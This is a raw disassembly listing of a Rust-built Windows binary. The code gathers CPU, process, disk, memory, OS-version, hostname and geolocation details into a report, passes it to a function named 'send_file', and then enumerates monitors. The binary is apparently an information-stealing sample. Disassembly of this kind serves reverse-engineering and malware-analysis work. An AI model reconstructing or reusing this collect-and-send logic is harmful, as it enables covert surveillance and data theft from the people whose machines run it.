mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, esi
call sym.sysinfo::traits::SystemExt::new_all::h9bc41b6c02d58095
cmp dword [esp + 0x368], 0
je 0x1000c384
mov eax, dword [esp + 0x364]
mov edx, dword [eax + 0x24]
mov ecx, edi
push dword [eax + 0x28]
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
xor eax, eax
mov dword [esp + str.Name_Cpu_:], 0x1016710c
lea ecx, [esp + 0x118]
mov dword [esp + 0x118], edi
mov dword [esp + 0x11c], sym.__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_::fmt::hdff27194fd61d0e6
inc eax
mov dword [esp + 0x1f4], eax
and dword [esp + 0x200], 0
mov dword [esp + 0x1f8], ecx
mov dword [esp + 0x1fc], eax
mov ecx, ebx
lea edx, [esp + 0x1f0]
call sym.alloc::fmt::format::h28429d8526483b61
mov ecx, dword [esp + 0x160]
mov edx, dword [esp + 0x164]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
jmp 0x1000c393
mov ecx, ebx
mov edx, str.Name_Cpu_:_Failed_captureProcess_name:____Pid:__nCommand_line:
push 0x19
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
mov eax, dword [esp + 0x98]
movsd xmm0, qword [esp + 0x90]
mov dword [esp + 0x148], eax
movsd qword [esp + 0x140], xmm0
mov ecx, esi
call sym.core::ptr::drop_in_place_LT_sysinfo..windows..system..System_GT_::h44b5fed3bdbc4978
mov ecx, esi
call sym.sysinfo::traits::SystemExt::new_all::h9bc41b6c02d58095
mov esi, dword [esp + 0x410]
imul eax, dword [esp + 0x414], 0x50
and dword [esp + 0x80], 0
mov dword [esp + 0x84], 1
and dword [esp + 0x88], 0
test eax, eax
je 0x1000c61f
mov edx, dword [esi + 0xc]
lea ecx, [esi + 0x50]
mov dword [esp + 0x10], ecx
lea edi, [esp + 0x1f0]
mov ecx, edi
push dword [esi + 0x10]
mov dword [esp + 0x10], eax
call dbg.from_utf8
pop eax
cmp dword [esp + 0x1f0], 0
mov eax, dword [esp + 0x1f4]
mov ecx, str.0xffffDisk:__nTypeDIsk_Mount:__nLocate_disk_Mount:__nTypeDisk:__nMemory_All:__nMemory_free:
cmovne eax, ecx
mov ecx, dword [esp + 0x1f8]
push 6
pop edx
cmovne ecx, edx
mov dword [esp + 0xf8], eax
mov dword [esp + 0xfc], ecx
mov edx, dword [esi + 0x2c]
lea ecx, [esp + 0xe8]
push dword [esi + 0x30]
call dbg.from_utf8_lossy
pop eax
mov edx, dword [esi + 0x44]
mov ecx, edi
push dword [esi + 0x48]
call dbg.to_string_lossy
pop eax
lea ecx, [esp + 0x60]
mov edx, edi
call dbg.from
mov eax, dword [esi]
mov ecx, dword [esi + 4]
movapd xmm0, xmmword [0x101660b0]
mov dword [esp + 0x108], eax
mov dword [esp + 0x10c], ecx
movsd xmm1, qword [esi + 0x18]
unpcklps xmm1, xmm0
movapd xmm0, xmmword [0x101660c0]
subpd xmm1, xmm0
movapd xmm0, xmm1
unpckhpd xmm0, xmm1
addsd xmm0, xmm1
lea ebx, [esp + 0x48]
mov ecx, ebx
call sym.human_bytes::human_bytes::h906e68ab4ec9a77a
movsd xmm1, qword [esi + 0x20]
unpcklps xmm1, xmmword [0x101660b0]
subpd xmm1, xmmword [0x101660c0]
movapd xmm0, xmm1
unpckhpd xmm0, xmm1
addsd xmm0, xmm1
lea esi, [esp + 0x118]
mov ecx, esi
call sym.human_bytes::human_bytes::h906e68ab4ec9a77a
lea eax, [esp + 0xf8]
mov ecx, sym.__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_::fmt::hdff27194fd61d0e6
mov dword [esp + 0x160], 0x101670d0
mov dword [esp + 0x1f0], eax
lea eax, [esp + 0xe8]
mov dword [esp + 0x1f4], sym.__LT__RF_T_u20_as_u20_core..fmt..Display_GT_::fmt::h2afcff67f3b42897
mov dword [esp + 0x1f8], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x1fc], sym.__LT_alloc..borrow..Cow_LT_B_GT__u20_as_u20_core..fmt..Display_GT_::fmt::h7bb9d5a2a3476767
mov dword [esp + 0x200], eax
lea eax, [esp + 0x108]
mov dword [esp + 0x204], ecx
mov dword [esp + 0x208], eax
mov dword [esp + 0x20c], sym.__LT_sysinfo..common..DiskKind_u20_as_u20_core..fmt..Debug_GT_::fmt::h1cab049aeaa16cd3
mov dword [esp + 0x210], ebx
mov dword [esp + 0x214], ecx
mov dword [esp + 0x218], esi
mov dword [esp + 0x21c], ecx
push 6
pop eax
mov dword [esp + 0x164], eax
and dword [esp + 0x170], 0
mov dword [esp + 0x168], edi
mov dword [esp + 0x16c], eax
lea ecx, [esp + 0x90]
lea edx, [esp + 0x160]
call sym.alloc::fmt::format::h28429d8526483b61
mov esi, dword [esp + 0x94]
mov eax, dword [esp + 0x98]
add eax, esi
lea ecx, [esp + 0x80]
mov edx, esi
push eax
call fcn.100e4dc4
pop eax
mov ecx, dword [esp + 0x90]
mov edx, esi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x118]
mov edx, dword [esp + 0x11c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0xe8]
mov edx, dword [esp + 0xec]
call sym.core::ptr::drop_in_place_LT_alloc..borrow..Cow_LT_str_GT__GT_::h35a67361265e5661
mov eax, dword [esp + 0xc]
mov esi, dword [esp + 0x10]
add eax, 0xffffffb0
jmp 0x1000c3eb
mov eax, dword [esp + 0x88]
movsd xmm0, qword [esp + 0x80]
mov dword [esp + 0x100], eax
movsd qword [esp + 0xf8], xmm0
lea esi, [esp + 0x320]
mov ecx, esi
call sym.core::ptr::drop_in_place_LT_sysinfo..windows..system..System_GT_::h44b5fed3bdbc4978
mov ecx, esi
call sym.sysinfo::traits::SystemExt::new_all::h9bc41b6c02d58095
lea ecx, [esp + 0x80]
mov edx, 0x101c0246
push 7
pop esi
push esi
call sym.__ZN47__LT_str_u20_as_u20_alloc..string..ToString_GT_9to_string17h76b562e98917fdcdE.1519
pop eax
lea edi, [esp + 0x160]
mov edx, str.WindowsSOFTWAREMicrosoftWindows_NTCurrentVersionCurrentBuildNumberCurrentMajorVersionNumberwindowsIdle_no_name__Process
mov ecx, edi
push esi
call sym.__ZN47__LT_str_u20_as_u20_alloc..string..ToString_GT_9to_string17h76b562e98917fdcdE.1519
pop eax
lea esi, [esp + 0x1f0]
mov edx, str.Failedofsrc_geolocation.rs
mov ecx, esi
push 6
pop ebx
push ebx
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
lea ecx, [esp + 0xe8]
mov edx, edi
push esi
call sym.core::option::Option_LT_T_GT_::unwrap_or::h937a8767dd7de4b2
pop eax
mov ecx, edi
call sym.sysinfo::windows::utils::get_reg_string_value::hfac5433cba30fedd
mov ecx, esi
mov edx, str.Failedofsrc_geolocation.rs
push ebx
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
lea ecx, [esp + 0x60]
mov edx, edi
push esi
call sym.core::option::Option_LT_T_GT_::unwrap_or::h937a8767dd7de4b2
pop eax
mov ecx, esi
call sym.sysinfo::windows::utils::get_reg_string_value::hfac5433cba30fedd
cmp dword [esp + 0x1f0], 0x80000000
jne 0x1000c6fa
and dword [esp + 0x90], 0
mov dword [esp + 0x94], 1
and dword [esp + 0x98], 0
jmp 0x1000c71a
mov eax, dword [esp + 0x1f8]
movsd xmm0, qword [esp + 0x1f0]
mov dword [esp + 0x98], eax
movsd qword [esp + 0x90], xmm0
mov ecx, esi
call sym.sysinfo::windows::utils::get_reg_string_value::hfac5433cba30fedd
mov ecx, dword [esp + 0x1f0]
xor esi, esi
mov edi, 1
mov eax, 0
cmp ecx, 0x80000000
je 0x1000c74c
mov edi, dword [esp + 0x1f4]
mov eax, dword [esp + 0x1f8]
mov esi, ecx
lea ecx, [esp + 0x1f0]
mov edx, edi
push eax
call sym.core::num::__LT_impl_u20_core..str..traits..FromStr_u20_for_u20_u32_GT_::from_str::hd6e0cac529aba8fd
pop eax
mov eax, dword [esp + 0x1f4]
mov bl, byte [esp + 0x1f0]
mov dword [esp + 0xc], eax
mov ecx, esi
mov edx, edi
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h5bf4e74882597c41
test bl, bl
jne 0x1000c78c
cmp dword [esp + 0xc], 0x55ef
push 0xb
pop ebx
ja 0x1000c853
mov edx, 0x101c01ef
lea ecx, [esp + 0x160]
push 0x2c
call sym.sysinfo::windows::utils::utf16_str::h0df0eed22f066981
pop eax
mov edx, 0x101c022d
lea ecx, [esp + 0x1f0]
push 0x19
call sym.sysinfo::windows::utils::utf16_str::h0df0eed22f066981
pop eax
mov esi, dword [esp + 0x164]
mov ecx, esi
call sym.sysinfo::windows::utils::RegKey::open::hab1bee37d755a13d
test eax, eax
je 0x1000c830
mov edi, edx
and dword [esp + 0x118], 0
mov edx, dword [esp + 0x1f4]
mov dword [esp + 0x48], 4
lea eax, [esp + 0x48]
mov ecx, edi
push eax
lea eax, [esp + 0x11c]
push eax
call sym.sysinfo::windows::utils::RegKey::get_value::h983efd32d2e8cc64
pop ecx
pop edx
mov ebx, dword [esp + 0x118]
mov esi, eax
push edi
call sub.advapi32.dll_RegCloseKey
mov ecx, dword [esp + 0x1f0]
mov edx, dword [esp + 0x1f4]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h7a806ae938e9df1e
mov ecx, dword [esp + 0x160]
mov edx, dword [esp + 0x164]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h7a806ae938e9df1e
test esi, esi
jne 0x1000c851
jmp 0x1000c853
mov ecx, dword [esp + 0x1f0]
mov edx, dword [esp + 0x1f4]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h7a806ae938e9df1e
mov ecx, dword [esp + 0x160]
mov edx, esi
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h7a806ae938e9df1e
xor ebx, ebx
mov dword [esp + str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g], 0x101e68ac
mov dword [esp + 0x1f4], 3
and dword [esp + 0x200], 0
lea edi, [esp + 0x48]
lea eax, [esp + 0x90]
mov dword [esp + 0x48], ebx
lea ebx, [esp + 0x160]
mov dword [esp + 0x160], edi
mov dword [esp + 0x164], sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_u32_GT_::fmt::hebf983c945178ef0
mov dword [esp + 0x168], eax
mov eax, sym.__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_::fmt::hdff27194fd61d0e6
mov dword [esp + 0x1f8], ebx
mov dword [esp + 0x16c], eax
push 2
pop eax
mov dword [esp + 0x1fc], eax
lea ebx, [esp + 0x1f0]
lea ecx, [esp + 0x118]
mov edx, ebx
call sym.__ZN5alloc3fmt6format17h28429d8526483b61E.1447
mov ecx, dword [esp + 0x90]
mov edx, dword [esp + 0x94]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h5bf4e74882597c41
mov ecx, ebx
mov edx, str.Failedofsrc_geolocation.rs
push 6
pop edi
push edi
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
lea ecx, [esp + 0x48]
lea edx, [esp + 0x118]
push ebx
call sym.core::option::Option_LT_T_GT_::unwrap_or::h937a8767dd7de4b2
pop eax
lea esi, [esp + 0x160]
mov ecx, esi
call sym.__LT_sysinfo..windows..system..System_u20_as_u20_sysinfo..traits..SystemExt_GT_::host_name::h38be85295252dda5
mov ecx, ebx
mov edx, str.Failedofsrc_geolocation.rs
push edi
call sym.__LT_str_u20_as_u20_alloc..string..ToString_GT_::to_string::h76b562e98917fdcd
pop eax
lea edi, [esp + 0x90]
mov edx, esi
mov ecx, edi
push ebx
call sym.core::option::Option_LT_T_GT_::unwrap_or::h937a8767dd7de4b2
pop eax
lea eax, [esp + 0x80]
mov ecx, sym.__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_::fmt::hdff27194fd61d0e6
mov dword [esp + str._nDistribution:__nSystem_name:__nSystem_kernel_version:__nSystem_OS_version:__nSystem_host_name:], 0x101671e0
mov dword [esp + 0x1f0], eax
lea eax, [esp + 0xe8]
mov dword [esp + 0x1f4], ecx
mov dword [esp + 0x1f8], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x1fc], ecx
mov dword [esp + 0x200], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x204], ecx
mov dword [esp + 0x208], eax
mov eax, sym.__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_::fmt::hdff27194fd61d0e6
mov dword [esp + 0x20c], ecx
mov dword [esp + 0x210], edi
mov dword [esp + 0x214], eax
push 6
pop eax
mov dword [esp + 0x164], eax
and dword [esp + 0x170], 0
mov dword [esp + 0x168], ebx
mov dword [esp + 0x16c], 5
lea ecx, [esp + 0x108]
mov edx, esi
call sym.alloc::fmt::format::h28429d8526483b61
mov ecx, dword [esp + 0x90]
mov edx, dword [esp + 0x94]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0xe8]
mov edx, dword [esp + 0xec]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0x84]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
lea edi, [esp + 0x320]
mov ecx, edi
call sym.core::ptr::drop_in_place_LT_sysinfo..windows..system..System_GT_::h44b5fed3bdbc4978
mov ecx, edi
call sym.sysinfo::traits::SystemExt::new_all::h9bc41b6c02d58095
mov eax, dword [esp + 0x404]
mov dword [esp + str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g], 0x10167174
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x408]
mov dword [esp + 0x94], eax
lea eax, [esp + 0x90]
mov dword [esp + 0x160], eax
mov dword [esp + 0x164], sym.__LT__RF_T_u20_as_u20_core..fmt..Debug_GT_::fmt::h2935be5924a55640
push 2
pop eax
mov dword [esp + 0x1f4], eax
and dword [esp + 0x200], 0
xor ebx, ebx
mov dword [esp + 0x1f8], esi
inc ebx
mov dword [esp + 0x1fc], ebx
lea ecx, [esp + 0x80]
lea edx, [esp + 0x1f0]
mov esi, edi
call sym.alloc::fmt::format::h28429d8526483b61
mov ecx, edi
call sym.core::ptr::drop_in_place_LT_sysinfo..windows..system..System_GT_::h44b5fed3bdbc4978
mov ecx, edi
call sym.sysinfo::traits::SystemExt::new_all::h9bc41b6c02d58095
and dword [esp + 0xe8], 0
mov dword [esp + 0xec], ebx
and dword [esp + 0xf0], 0
lea ecx, [esp + 0x90]
lea edx, [esp + 0x370]
call sym.hashbrown::raw::RawTableInner::iter::h34a70130761826a9
lea ecx, [esp + 0x90]
call sym.__LT_hashbrown..raw..RawIter_LT_T_GT__u20_as_u20_core..iter..traits..iterator..Iterator_GT_::next::h10a7070c86934b62
test eax, eax
je 0x1000cda2
mov ecx, dword [eax - 0x3c]
mov edx, dword [eax - 0x38]
mov edi, dword [eax - 0x30]
mov esi, dword [eax - 0x2c]
mov dword [esp + 0x2dc], ecx
mov dword [esp + 0x2e0], edx
mov eax, dword [eax - 0x10]
and dword [esp + 0x160], 0
mov dword [esp + 0x164], 1
and dword [esp + 0x20c], 0
mov dword [esp + 0x200], 0x20
mov byte [esp + 0x210], 3
and dword [esp + 0x1f0], 0
and dword [esp + 0x168], 0
and dword [esp + 0x1f8], 0
mov dword [esp + 0x554], eax
lea eax, [esp + 0x160]
mov dword [esp + 0x204], eax
mov dword [esp + 0x208], 0x10166840
lea eax, [esp + 0x1f0]
push eax
lea eax, [esp + 0x558]
push eax
call sym.__LT_sysinfo..common..Pid_u20_as_u20_core..fmt..Display_GT_::fmt::h149a251f1791fef7
pop ecx
pop edx
movzx ecx, al
call sym.core::result::Result_LT_T_C_E_GT_::expect::h97219666374c5a58
mov eax, dword [esp + 0x168]
movsd xmm0, qword [esp + 0x160]
test esi, esi
mov dword [esp + 0x50], eax
movsd qword [esp + 0x48], xmm0
je 0x1000cca4
imul ebx, esi, 0xc
mov dword [esp + 0xc], edi
mov ecx, edi
xor edi, edi
lea esi, [esp + 0x1f0]
mov eax, ebx
test eax, eax
je 0x1000cbf3
mov edx, dword [ecx + 8]
add eax, 0xfffffff4
add ecx, 0xc
add edi, edx
jae 0x1000cbdd
jmp 0x1000fa63
mov ecx, esi
mov edx, edi
push 0
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::try_allocate_in::h5ff8300083a355d2
pop eax
mov ecx, esi
call sym.alloc::raw_vec::handle_reserve::h25b37d4abb8f209b
mov esi, edi
mov edi, dword [esp + 0xc]
mov dword [esp + 0x160], eax
mov dword [esp + 0x164], edx
and dword [esp + 0x168], 0
mov edx, dword [edi + 4]
lea ecx, [esp + 0x160]
push dword [edi + 8]
call sym.alloc::vec::Vec_LT_T_C_A_GT_::extend_from_slice::h2fd30bd71073c508
pop eax
mov ecx, dword [esp + 0x164]
mov eax, dword [esp + 0x168]
mov dword [esp + 0x10], esi
add ebx, 0xfffffff4
mov dword [esp + 0x14], ecx
sub esi, eax
add ecx, eax
mov eax, edi
add eax, 0x14
test ebx, ebx
je 0x1000cc91
mov edx, dword [eax]
sub esi, edx
jb 0x1000fa75
lea edi, [ecx + edx]
mov dword [esp + 0xc], edi
push 0x101bfb54
push edx
push dword [eax - 4]
mov edi, ebx
mov ebx, eax
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h077a5a2d401f045f
mov eax, ebx
mov ebx, edi
add esp, 0xc
mov ecx, dword [esp + 0xc]
add eax, 0xc
add ebx, 0xfffffff4
jmp 0x1000cc57
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x160]
mov edx, dword [esp + 0x14]
sub ecx, esi
jmp 0x1000ccab
xor eax, eax
xor edx, edx
xor ecx, ecx
inc edx
mov dword [esp + 0x118], eax
lea eax, [esp + 0x2dc]
mov dword [esp + 0x160], 0x10167154
mov dword [esp + 0x164], 4
and dword [esp + 0x170], 0
lea ebx, [esp + 0x1f0]
mov dword [esp + 0x11c], edx
mov dword [esp + 0x120], ecx
mov dword [esp + 0x1f0], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x1f4], sym.__LT__RF_T_u20_as_u20_core..fmt..Display_GT_::fmt::h2afcff67f3b42897
mov dword [esp + 0x168], ebx
mov dword [esp + 0x16c], 3
mov dword [esp + 0x1f8], eax
lea eax, [esp + 0x118]
mov dword [esp + 0x1fc], sym.__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_::fmt::hdff27194fd61d0e6
mov dword [esp + 0x200], eax
mov dword [esp + 0x204], sym.__LT_alloc..string..String_u20_as_u20_core..fmt..Debug_GT_::fmt::h4bf73330d36f9109
lea ecx, [esp + 0x60]
lea edx, [esp + 0x160]
call sym.alloc::fmt::format::h28429d8526483b61
mov ecx, dword [esp + 0x118]
mov edx, dword [esp + 0x11c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov esi, dword [esp + 0x60]
mov edi, dword [esp + 0x64]
mov eax, dword [esp + 0x68]
add eax, edi
lea ecx, [esp + 0xe8]
mov edx, edi
push eax
call fcn.100e4dc4
pop eax
mov ecx, esi
mov edx, edi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
lea esi, [esp + 0x320]
jmp 0x1000caf1
movsd xmm0, qword [esp + 0xe8]
mov eax, dword [esp + 0xf0]
movsd qword [esp + 0x48], xmm0
mov dword [esp + 0x50], eax
mov ecx, esi
call sym.core::ptr::drop_in_place_LT_sysinfo..windows..system..System_GT_::h44b5fed3bdbc4978
mov ecx, esi
call sym.sysinfo::traits::SystemExt::new_all::h9bc41b6c02d58095
mov eax, dword [esp + 0x390]
and dword [esp + 0x118], 0
mov dword [esp + 0x11c], 1
and dword [esp + 0x120], 0
mov ecx, dword [esp + 0x394]
mov esi, dword [esp + 0x39c]
movdqa xmm0, xmmword [eax]
lea ecx, [eax + ecx + 1]
mov dword [esp + 0x160], eax
add eax, 0x10
mov dword [esp + 0x164], eax
mov dword [esp + 0x168], ecx
pmovmskb edx, xmm0
not edx
mov word [esp + 0x16c], dx
mov dword [esp + 0x170], esi
lea ecx, [esp + 0x160]
call sym.__LT_hashbrown..raw..RawIter_LT_T_GT__u20_as_u20_core..iter..traits..iterator..Iterator_GT_::next::h067766df728242aa
test eax, eax
lea esi, [esp + 0x1f0]
je 0x1000cedc
add eax, 0xffffff80
mov dword [esp + 0x1f0], 0x10167068
mov dword [esp + 0x1f4], 2
and dword [esp + 0x200], 0
mov dword [esp + 0xe8], eax
lea eax, [esp + 0xe8]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], sym.__LT__RF_T_u20_as_u20_core..fmt..Display_GT_::fmt::h47856111cb2a05ae
mov dword [esp + 0x1f8], eax
mov dword [esp + 0x1fc], 1
lea ecx, [esp + 0x90]
mov edx, esi
call sym.alloc::fmt::format::h28429d8526483b61
mov esi, dword [esp + 0x94]
mov eax, dword [esp + 0x98]
add eax, esi
lea ecx, [esp + 0x118]
mov edx, esi
push eax
call fcn.100e4dc4
pop eax
mov ecx, dword [esp + 0x90]
mov edx, esi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
jmp 0x1000ce2f
mov eax, dword [esp + 0x120]
movsd xmm0, qword [esp + 0x118]
movsd qword [esp + 0x160], xmm0
mov dword [esp + 0x168], eax
lea ecx, [esp + 0x320]
mov ebx, ecx
call sym.core::ptr::drop_in_place_LT_sysinfo..windows..system..System_GT_::h44b5fed3bdbc4978
lea eax, [esp + 0x160]
mov edi, sym.__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_::fmt::hdff27194fd61d0e6
mov dword [esp + str.__n__nName_Cpu__n__ninfomations_.._n_n______temp_______n_nProcess_..__n_n], 0x101681a8
mov dword [esp + 0x1f4], 7
and dword [esp + 0x200], 0
mov dword [esp + 0x1f8], ebx
mov dword [esp + 0x1fc], 6
mov dword [esp + 0x320], eax
lea eax, [esp + 0x140]
mov dword [esp + 0x324], edi
mov dword [esp + 0x328], eax
lea eax, [esp + 0x108]
mov dword [esp + 0x32c], edi
mov dword [esp + 0x330], eax
lea eax, [esp + 0x80]
mov dword [esp + 0x334], edi
mov dword [esp + 0x338], eax
lea eax, [esp + 0xf8]
mov dword [esp + 0x33c], edi
mov dword [esp + 0x340], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x344], edi
mov dword [esp + 0x348], eax
mov dword [esp + 0x34c], edi
lea ebx, [esp + 0x90]
mov edx, esi
mov ecx, ebx
call sym.alloc::fmt::format::h28429d8526483b61
mov ecx, dword [esp + 0x160]
mov edx, dword [esp + 0x164]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x80]
mov edx, dword [esp + 0x84]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x108]
mov edx, dword [esp + 0x10c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0xf8]
mov edx, dword [esp + 0xfc]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x140]
mov edx, dword [esp + 0x144]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
lea eax, [esp + 0x2fc]
mov dword [esp + str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g], 0x10167fcc
mov dword [esp + 0x320], eax
lea eax, [esp + 0x2f0]
mov dword [esp + 0x324], edi
mov dword [esp + 0x328], eax
lea eax, [esp + 0x1e0]
mov dword [esp + 0x32c], edi
mov dword [esp + 0x330], eax
mov dword [esp + 0x334], edi
mov dword [esp + 0x338], ebx
mov dword [esp + 0x33c], edi
push 4
pop eax
mov dword [esp + 0x1f4], eax
and dword [esp + 0x200], 0
lea edi, [esp + 0x320]
mov dword [esp + 0x1f8], edi
mov dword [esp + 0x1fc], eax
lea ecx, [esp + 0x5a0]
mov edx, esi
call sym.alloc::fmt::format::h28429d8526483b61
mov ecx, dword [esp + 0x90]
mov edx, dword [esp + 0x94]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x1e0]
mov edx, dword [esp + 0x1e4]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov esi, dword [esp + 0x570]
mov edx, dword [esp + 0x574]
mov ecx, esi
call sym.__LT_alloc..vec..Vec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::hb6c49c388749aaba
mov ecx, dword [esp + 0x56c]
mov edx, esi
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h10ba6d0d437bfc7f
mov ecx, dword [esp + 0x2f0]
mov edx, dword [esp + 0x2f4]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x2fc]
mov edx, dword [esp + 0x300]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
and dword [esp + 0x59c], 0
mov edx, dword [esp + 0x584]
mov esi, edi
mov ecx, edi
push dword [esp + 0x580]
call dbg.clone
pop eax
mov ecx, dword [esp + 0x314]
mov edx, dword [esp + 0x318]
push edi
lea eax, [esp + 0x5a0]
push eax
lea eax, [esp + 0x620]
push eax
call sym.super::send_file::h0565cceb41ca16d1
add esp, 0xc
test al, al
mov eax, dword [esp + 0x30c]
je 0x10008dde
and dword [esp + 0xe8], 0
mov dword [esp + 0x540], 1
push 4
pop ebx
mov dword [esp + 0xec], ebx
and dword [esp + 0xf0], 0
push 0xc
pop ecx
call sym.__ZN5alloc5alloc15exchange_malloc17h142decb00e75c662E.213
and dword [eax], 0
mov dword [eax + 4], ebx
and dword [eax + 8], 0
mov esi, eax
push eax
push sym.__ZN12display_info8platform17monitor_enum_proc17hdfba72c2dfb61801E_16
push 0
push 0
call sub.user32.dll_EnumDisplayMonitors
test eax, eax
je 0x1000f9f6
lea eax, [esp + 0x90]
mov ecx, dword [esi + 4]
mov dword [esp + 0x3c], esi
xor edx, edx
and dword [eax], 0
mov dword [eax + 4], 4
and dword [eax + 8], 0
mov eax, dword [esi + 8]
lea esi, [esp + 0x324]
lea eax, [ecx + eax*4]
mov dword [esp + 0x74], eax
push 0x19
pop eax
cmp ecx, dword [esp + 0x74]
mov dword [esp + 0x78], edx
je 0x1000d748
mov edx, dword [ecx]
mov dword [esp + 0x10], ebx
mov ebx, eax
mov dword [esp + 0xc], ecx
xor eax, eax
mov edi, esi
mov ecx, ebx
rep stosd dword es:[edi], eax
mov dword [esp + 0x320], 0x68
lea eax, [esp + 0x320]
push eax
mov dword [esp + 0x18], edx
push edx
call sub.user32.dll_GetMonitorInfoW
test eax, eax
je 0x1000fa39
mov eax, dword [esp + 0x320]
mov ecx, ebx
lea edi, [esp + 0x1f4]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x1f0], eax
lea ecx, [esp + 0x218]
call sym.widestring::ucstr::U16CStr::from_ptr_str::hf6ac459789fad982
mov esi, edx
lea edi, [esp + 0x320]
mov edx, eax
mov ecx, edi
push esi
call sym.alloc::slice::__LT_impl_u20_alloc..borrow..ToOwned_u20_for_u20__u5b_T_u5d__GT_::to_owned::hf37a384bebcd12fd
pop eax
mov ecx, edi
call sym.widestring::ucstring::U16CString::from_vec_unchecked::h3b48abe31a74684f
